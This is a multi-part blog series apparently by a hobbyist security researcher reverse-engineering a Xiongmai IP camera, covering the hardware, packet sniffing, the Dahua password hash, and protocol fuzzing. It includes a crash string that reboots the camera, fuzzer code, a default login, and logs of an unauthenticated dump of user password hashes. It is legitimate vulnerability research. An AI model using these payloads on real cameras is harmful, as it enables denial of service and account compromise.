Looking up this string provides an interesting article which describes a method of testing to see if the camera is a Xiongmai, by going to a specific htm page, err.htm.

So now we know for certain that the camera is actually a Xiongmai product, not Besder.

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Exploitation (Security) • 6 years — Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [Exploit_db]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[Xiongmai - Investigational Journey] Fuzzing With Radamsa

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

I'd never heard of this tool, until I happened to stumble upon it in a LiveOverflow video. The tool is, very neat to say the least. It takes an input "sample" data, and mutates it in various ways to cause potential bad behavior in an application.

From the previous behavioral fuzzing we did, we know what commands are available by default, so we should fuzz those specific items to see if we can get them to misbehave.

File.open("./rsrc/op_monitor.txt", "w+") do |file|
  file.print Command::OPMonitor.new(session_id: 0xabcdef00_u32).to_s
end

File.open("./logs/radamsa/op_monitor.log", "w+") do |file|
  puts "Testing connection"
  socket = MagicSocket.new("192.168.11.109", 34567)
  socket.login "default", Dahua.digest("tluafed")
  xmm = Command::OPMonitor.new
  socket.send_message xmm
  puts "SENT: #{xmm.message}"
  reply = socket.receive_message
  puts "GOT: #{reply.message}"

  1000.times do |x|
    begin
      socket = MagicSocket.new("192.168.11.109", 34567)
      socket.login "default", Dahua.digest("tluafed")
      message = `radamsa ./rsrc/op_monitor.txt`
      file.puts "SENT: #{message.inspect}"
      socket.send message
      reply = socket.receive_message
      file.puts "GOT: #{reply.message.inspect}"
    rescue e : MagicError::SocketException
      puts "SOCKET DOWN! #{e.inspect}"
      raise e
    rescue e : MagicError::Exception
      file.puts "ERROR: #{e.inspect}"
      puts "ERROR: #{e.inspect}"
    rescue e
      file.puts "BAD ERROR: #{e.inspect}"
      puts "BAD ERROR: #{e.inspect}"
    end
  end
end

I make a message for OPMonitor, and output it to a file, then send that file through Radamsa, and send it's fuzzing data to the camera. Within about 100 or so tries, it ended up finding a way to disrupt the client and the camera server for about 120 seconds while the camera reboots. This string takes the camera down via ping, connection, etc. This means the camera itself actually get rebooted.

crash_string = "\xFF\u0001\u0000\u0000\u0000\xEF\xCD\xAB\u0000\u0000\u0000\u0000\u0000\u0000\x85\u0005\xA0\u0000\u0000\xE1\u0000{\"Name\":\"OPMonitor\",\"OPMonitor\",\"OPMonitor\":{\"Action\":\"Claim\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Parmeter\":{\"Channel\":0,\"CombinModeใ\":\"N󠁢ONE\",\"Stre amT\u000E\xFE\xFFype\":\"Main\",\"TransMode\":\"TCP\"}},\"Sess󠁎ionID\":\"4294967296xAbcdef256\"}"
socket = MagicSocket.new("192.168.11.109", 34567)
socket.login "default", Dahua.digest("tluafed")
socket.send crash_string
puts "SENT: #{crash_string.inspect}"
reply = socket.receive_message
puts "GOT: #{reply.message}"

Already Radamsa has helped us find a new and exciting vulnerability.

Final notes on fuzzing

We can say for certain that there are some oddities and inconsistencies about how this protocol works, which tends to be good for the red team. The stranger the protocol the more likely someone made a mistake somewhere along the way. There seems to be a lot of potential for that since the protocol acts so erratically.

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Fuzzing (Security) • 5 years — Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [Wikipedia]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Exploit PoC Development (Systems & Security) • 8 years — Authoring reproducible proof-of-concept exploits to validate security vulnerabilities and verify vendor remediation. [Cve]

[Xiongmai - Investigational Journey] Advanced Fuzzing

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a "pool" of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.

You can view the relevant code on GitHub.

Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}

Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!

Each fiber will use it's own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.

If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I'll make a raspberry pi that shuts the thing down with a relay one day.

You can view an example log here. I'll be dissecting this log for starters.

The most common reply is,

"{ \"Name\" : \"SystemInfo\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"

With around 4000 magics.

This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn't get a password or username, 205.

"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10744252, \"Ret\" : 205, \"SessionID\" : \"0x0000000B\" }\n"
    Bytes: ["0x03e8"]

Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.

"{ \"Name\" : \"\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x03ea", "0x0410", "0x0416", "0x041a", "0x0578", "0x05e0", "0x05dc", "0x05de", "0x0670", "0x06ea", "0x0684", "0x0676", "0x07d2"]

This one is the "keep alive", which keeps the connection to the camera going as long as it recieves a keep alive packet.

"{ \"Name\" : \"KeepAlive\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x03ee"]

After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.

"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0582", "0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x058c", "0x0591"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 504, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0596"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x059a", "0x059b"]
"{ \"Name\" : \"\", \"Ret\" : 119, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x05a0"]
"{ \"Name\" : \"OPLogQuery\", \"OPLogQuery\" : null, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
    Bytes: ["0x05a2"]
"{ \"Name\" : \"OPSCalendar\", \"OPSCalendar\" : { \"Mask\" : 0 }, \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
    Bytes: ["0x05a6"]
"{ \"Name\" : \"\", \"Ret\" : 109, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x05a8"]
"{ \"Name\" : \"OPTimeQuery\", \"OPTimeQuery\" : \"2000-12-07 02:55:43\", \"Ret\" : 100, \"SessionID\" : \"0x0\" }\n"
    Bytes: ["0x05ac"]
"{ \"Name\" : \"\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x05b4", "0x0828"]

The original command we were fuzzing is "SystemInfo". Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.

"{ \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x05be"]
"{ \"Ret\" : 100, \"SessionID\" : \"0x00000000\", \"Users\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Group\" : \"admin\", \"Memo\" : \"admin 's account\", \"Name\" : \"admin\", \"NoMD5\" : null, \"Password\" : \"mF95aD4o\", \"Reserved\" : true, \"Sharable\" : true }, { \"AuthorityList\" : [ \"Monitor_01\" ], \"Group\" : \"user\", \"Memo\" : \"default account\", \"Name\" : \"default\", \"NoMD5\" : null, \"Password\" : \"OxhlwSG8\", \"Reserved\" : false, \"Sharable\" : false } ] }\n"
    Bytes: ["0x05c0"]
"{ \"Groups\" : [ { \"AuthorityList\" : [ \"ShutDown\", \"ChannelTitle\", \"RecordConfig\", \"Backup\", \"StorageManager\", \"Account\", \"SysInfo\", \"QueryLog\", \"DelLog\", \"SysUpgrade\", \"AutoMaintain\", \"TourConfig\", \"TVadjustConfig\", \"GeneralConfig\", \"EncodeConfig\", \"CommConfig\", \"NetConfig\", \"AlarmConfig\", \"VideoConfig\", \"PtzConfig\", \"PTZControl\", \"DefaultConfig\", \"Talk_01\", \"IPCCamera\", \"ImExport\", \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"administrator group\", \"Name\" : \"admin\" }, { \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x05c2"]

Now we start getting into the tastiest meat!

{ \"AuthorityList\" : [ \"Monitor_01\", \"Replay_01\" ], \"Memo\" : \"user group\", \"Name\" : \"user\" } ], \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"

Here we find a hidden user account, "default" with stream only privileges. This is great! It's a new avenue to check. It's possible the "authorities list" wasn't set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn't mentioned anywhere in the manuals for the device.

We can also see the full authority list for "admin", which includes shutdown and upgrade privileges. Juicy!

BINARY FILE "{ \"command\" : \"sync\","
    Bytes: ["0x0666"]

This one is particularly interesting, my fuzzer flagged it as a "binary file" because it couldn't parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).

BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000"
    Bytes: ["0x0606"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004"
    Bytes: ["0x0608"]
BINARY FILE "PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\"\u0018\u0000\u0000"
    Bytes: ["0x066c"]

We also get some zip files which contains settings dumps, while interesting don't contain anything we didn't already know about the camera.

BINARY FILE "\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF"
    Bytes: ["0x0618"]

0x0618 gives us an image from the camera, will be useful for later.

Overall, we've gained some interesting insight into the device, and we haven't even fuzzed all the commands, and the unauthenticated user account yet!

The user account "default" ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it's replies are stream related.

Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000

"{ \"AliveInterval\" : 0, \"ChannelNum\" : 0, \"DeviceType \" : \"DVR\", \"ExtraChannel\" : 10976316, \"Ret\" : 205, \"SessionID\" : \"0x000042C9\" }\n"
    Bytes: ["0x03e8"]
"{ \"Name\" : \"\", \"Ret\" : 102, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x03f2", "0x080e"]
"{ \"Name\" : \"OPMonitor\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0585"]
"{ \"Name\" : \"OPPlayBack\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0590"]
"{ \"Name\" : \"OPTalk\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x059a"]
"{ \"Name\" : \"GetSafetyAbility\", \"Ret\" : 103, \"SessionID\" : \"0x00000000\", \"authorizeStat\" : null }\n"
    Bytes: ["0x0672"]
"{ \"Name\" : \"OPRecordSnap\", \"Ret\" : 100, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x07fc"]
"{ \"Name\" : \"\", \"Ret\" : 105, \"SessionID\" : \"0x00000000\" }\n"
    Bytes: ["0x0852"]
"{ \"Name\" : \"\", \"Ret\" : 106, \"SessionID\" : \"0x000066E9\" }\n"
    Bytes: ["0x02ee", "0x0192", "0x00a7", "0x0e27", "0x0041", "0x01c1", "0x0032", "0x0fa6", "0x03f7", "0x0740", "0x0d85", "0x0c3e", "0x095d", "0x06ee", "0x02b7", "0x08ac", "0x0db9", "0x08d6", "0x00bb", "0x0b37", "0x0606", "0x0996", "0x0cfb", "0x0afa", "0x00ba", "0x0974", "0x0d51", "0x0906", "0x0f42", "0x05e2"]

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Fuzzing (Security) • 5 years — Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [Wikipedia]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[Xiongmai - Investigational Journey] Basic Fuzzing

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

When dealing with a protocol where the source code and implementation are secret to us,we need to do certain kinds of testing to find out how to format data appropriately, as well as determine what can change behavior, what can be ignored, and what we need to pay attention to.

We want to poke at SessionID a bit, lets try to login repeatedly to get an idea of SessionIDs values. For this example, we login to the camera, then send a command, then print the SessionID.

0 = 0x00000001
1 = 0x00000002
2 = 0x00000003
3 = 0x00000004
4 = 0x00000005
5 = 0x00000006
6 = 0x00000007
7 = 0x00000008
8 = 0x00000009

[Done] exited with code=0 in 1.025 seconds

Since SessionID acts like a simple incrementer, we can easily write our own values. Getting an idea of how the camera might produce it's SessionID fields may help us later to develop an anti-client.

Let's make an attempt to send another command after logging in, we first will try to replay a commands SessionID, then try to replay the command with a randomized SessionID. This will give us greater insight into what works, and what doesn't.

For this command I'll be using SystemInfo which I found while sniffing! This one is used by the client to get a list of some settings and version numbers. Playing around with the SessionID field shows the camera doesn't care about it. I tried 0x00000007, 0x11111117, and a couple other random numbers and they all seemed to work!

There were also a couple values in the 20 byte header that I couldn't decipher, so I wrote a fuzzer to see if there was anything interesting about them. The results I got were, strange, to say the least. I used this method to make a basic command, including the header.

# Class that contains the basic process for making a message to/from the camera
class XMMessage
  property type : UInt32
  property session_id : UInt32
  property unknown1 : UInt32
  property unknown2 : UInt16
  property magic : UInt16
  property size : UInt32
  property message : String

  #TODO: Allow for spoofing of size, for example changing size to say that its 32 bytes, when its 0 or something
  def self.from_s(string)
    io = IO::Memory.new string
    m = XMMessage.new
    m.type = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.session_id = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown1 = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.unknown2 = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.magic = io.read_bytes(UInt16, IO::ByteFormat::LittleEndian)
    m.size = io.read_bytes(UInt32, IO::ByteFormat::LittleEndian)
    m.message = string[20..string.size]
    m
  end

  def initialize(@type = 0x000001ff_u32, @session_id = 0_u32, @unknown1 = 0_u32, @unknown2 = 0_u16, @magic = 0_u16, @size = 0_u32, @message = "")
  end

  def magic1 : UInt8
    (magic & 0xFF).to_u8
  end

  def magic2 : UInt8
    (magic >> 8).to_u8
  end

  def make_header
    header_io = IO::Memory.new
    header_io.write_bytes(type, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(session_id, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown1, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(unknown2,IO::ByteFormat::LittleEndian)
    header_io.write_bytes(magic, IO::ByteFormat::LittleEndian)
    header_io.write_bytes(self.message.size, IO::ByteFormat::LittleEndian)

    header_io.to_s
  end

  def make : String
    (make_header + self.message)
  end
end

Next, I made the main part of the fuzzer, which fills in every possible byte value, waits for a reply, then disconnects, and loops. I keep track of which magic return what reply.

If you'd like to view the code, and understand more about how the fuzzing process needs to work, check out the GitHub page for the project.

Some notes on this program,

There are two bytes we want to target, the first magic1, and then magic2.
The fuzzer itself has to be extremely fault tolerant, because lots of bad things happen when using it. There is a lot of trial and error in designing one of these.

Was the login connection refused? (because camera went offline) Was the command ever replied to? * Was the command reply's length zero?

When I want to run it I just do something like this,

class Command::SystemInfo < Command
  def initialize(@session_id = 0)
    super(magic1: 0xfc_u8, magic2: 0x03_u8, json: JSON.build do |json|
      json.object do
        json.field "Name", "SystemInfo"
        json.field "SessionID", "0x#{@session_id.to_s(16).rjust(8, '0')}"
      end
    end)
  end
end

File.open("logs/system_info.log", "w") do |file|
  Fuzzer.run(
    Command::SystemInfo.new(session_id: 0x11111117),
    magic2: (0x3..0x6),
    password: "password",
    output: file
    )
end

This will run for a while, eventually producing results, and while the results are accurate, it's too slow! It can take up to 24 hours to complete a single scan of the magic field 0x3 to 0x8, especially because camera turns off and doesn't turn back on for minutes, as well as many other system breaking bugs.

Luckily I had a couple ideas to make it faster.

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Fuzzing (Security) • 5 years — Automated software testing technique providing invalid or unexpected inputs to reveal crashes and memory flaws. [Wikipedia]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[Xiongmai - Investigational Journey] Hashing

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

We also finally got some passwords, but they were hashed, so we are going to need to figure out what method the manufacturer used. First thing to notice is that, in other captures, the PassWord field is always the same, meaning chances are we aren't dealing with a random salt) every time. If they do use a salt it must be hard coded into the camera itself, but this is unlikely. What IS really weird about this hash is that it says it's "MD5" but the hash itself is only 8 bytes, where MD5 has 16. This means that there is some hashing protocol, but it is custom and built upon MD5.

I actually searched up and down and couldn't find anything about this hash format. I tried tools like CyberChef and a hash calculator to no success. Unfortunately, I couldn't find the hashing format used, so I asked the wonderful people on the Voiding Warranties Discord, and admin Retr0id knew the hash type, Dahua! Since he helped me out, I'll plug his very cool exploit for a brand of wifi-enabled SD cards, go check it out, it's a super cool project!

In the end I used a bit of source code for the hashing system to write my own Dahua hashing for Crystal.

# Code translated from https://github.com/haicen/DahuaHashCreator/blob/master/DahuaHash.py
require "digest/md5"
module Dahua
  def self.compress(bytes : Slice(UInt8)) : Bytes
    i = 0
    j = 0
    output = Bytes.new(8, 0)
    while i < bytes.size
      output[j] = ((bytes[i].to_u32 + bytes[i+1].to_u32) % 62).to_u8

      if output[j] < 10
        output[j] += 48
      elsif output[j] < 36
        output[j] += 55
      else
        output[j] += 61
      end

      i = i+2
      j = j+1
    end
    output
  end

  def self.digest(password)
    md5_bytes = Digest::MD5.digest(password.encode("ascii"))
    compressed = compress(md5_bytes.to_slice)

    String.new(compressed)
  end
end

I'm not hashing expert, but this method to me screams, "COLLISION". From my calculation, this system loses about 99.9% of the entropy in the hash, that's not even a joke, each character in the Dahua hash has a 62 possibilities, where the original MD5 hash has 65535 possibilities each (since the hashing algorithm takes two bytes from the MD5 hash for each one of it's characters). This means that for each MD5 hash, there is a total of 2^(8*16), which is a very big number, and reduces it down to 62^8, which is a much much smaller number.

Using the digest method, we can attempt to determine our password hashes.

"" = tlJwpbo6
"password" = mF95aD4o
"abcdef" = vfMMASaj
"123456" = nTBCS19C
"asdfghjkl" = MajKjGGZ
"000000000000000000000000" = lJ84MHiF

[Done] exited with code=0 in 0.586 seconds

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]
Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[Xiongmai - Investigational Journey] Software Overview and Audit

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,

Get a list of all port numbers, source and destination, and who communicated using them.
Study the basic packet structure and figure out the basic formatting.
Look at the client software for clues into the inner workings.

Sniffing

Same as before, the main idea is to login with the app, and then immediately disconnect, so it's easier to understand the login process. Just for information, we'll do this multiple times to see if there are any important variables in the connection process we may need to track.

This time the app is the XMEye app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I'm really glad that I wrote rules in my network to prevent the camera from reaching the internet.

Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.

Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).

Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)

It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn't much of a reason for it. We also know that "Ret : 100" means the command succeeded!

Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name "GetSafetyAbility", I couldn't find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.

Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets. * tcp.flags.push == 1

When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.

Pastebin Gist * Github

In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.

The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.

The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.

Looking at an example of it's usage in the code shows that all bytes are actually ordered in Little Endian.

We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it's tied to the command name or something.

The camera then sends the replies to the clients previous commands.

Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to "password", whatever this password is, it's most likely the blank password. The reply afterwards should be a "failure", we can see that the next login attempt has a different password, and actually succeeded.

Blank Password

Failure! Ret = 203

Correct Password

Success! Ret = 100

Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Exploitation (Security) • 6 years — Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [Exploit_db]
C (Languages) • 12 years — Low-level system programming language for high-performance applications, memory management, and low-level system software. [Website]

[Xiongmai - Investigational Journey] Hardware

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

This time I got a camera that had less features than the VStarCam, from a company called Besder. The exact model is IP20H1.

Just looking at the Amazon page, the advertisement promises a couple things.

1080p video
POE powered
Onvif
IR day/night switch
Motion Detection

It doesn't have any movement, speaker, or microphone capabilities.

Opening up the device we can get a clearer look inside.

The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.

Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I'm guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.

An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I'm talking about in this picture.

There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don't know.

The processor, yet again, is a HI3516, a common IP camera SoC.

Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.

Here is some close up looks at some of the chips and markings on the PCB.

Honestly I'm no hardware expert, but I did recently pick up a FT232H I've been wanting to learn with. I'd really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I'd love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Hardware Security (Security) • 6 years — Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [Wikipedia]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[Xiongmai - Investigational Journey] Intro

Ian Rash — Wed, 04 Sep 2019 00:00:00 GMT

Hello everyone, and welcome to my investigative journey into the Besder (actually Xiongmai) IP20H1 network camera! Last time, (VStarCam Investigational Journey), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an "anti-client" which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I'm ready to try again.

After my first article, Brian Cardiff from Manas, the creators of the Crystal language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that's exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I'm really glad to be a part of their community!

If you would like to participate, you can buy the camera from Amazon, and follow along, just be sure to follow these guidelines, as the camera itself is basically a bot in a botnet.

All source code can be found on Github at sol-vin/xiongmai-investigational-journey

Category Chain: Xiongmai - Investigational Journey

Date: 2019-09-04

Author: Ian Rash

Skills & Technologies:

Security Research (Security) • 7 years — Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [Cve]
Hardware Security (Security) • 6 years — Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [Wikipedia]
Reverse Engineering (Systems & Security) • 8 years — Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [Ghidra]

[VStarCam - Investigational Journey] Re-evaluating fixed vulnerabilities

Ian Rash — Tue, 03 Sep 2019 00:00:00 GMT

Unfortunately, every journey has it's end, and this one came to an end quicker than I had hoped.

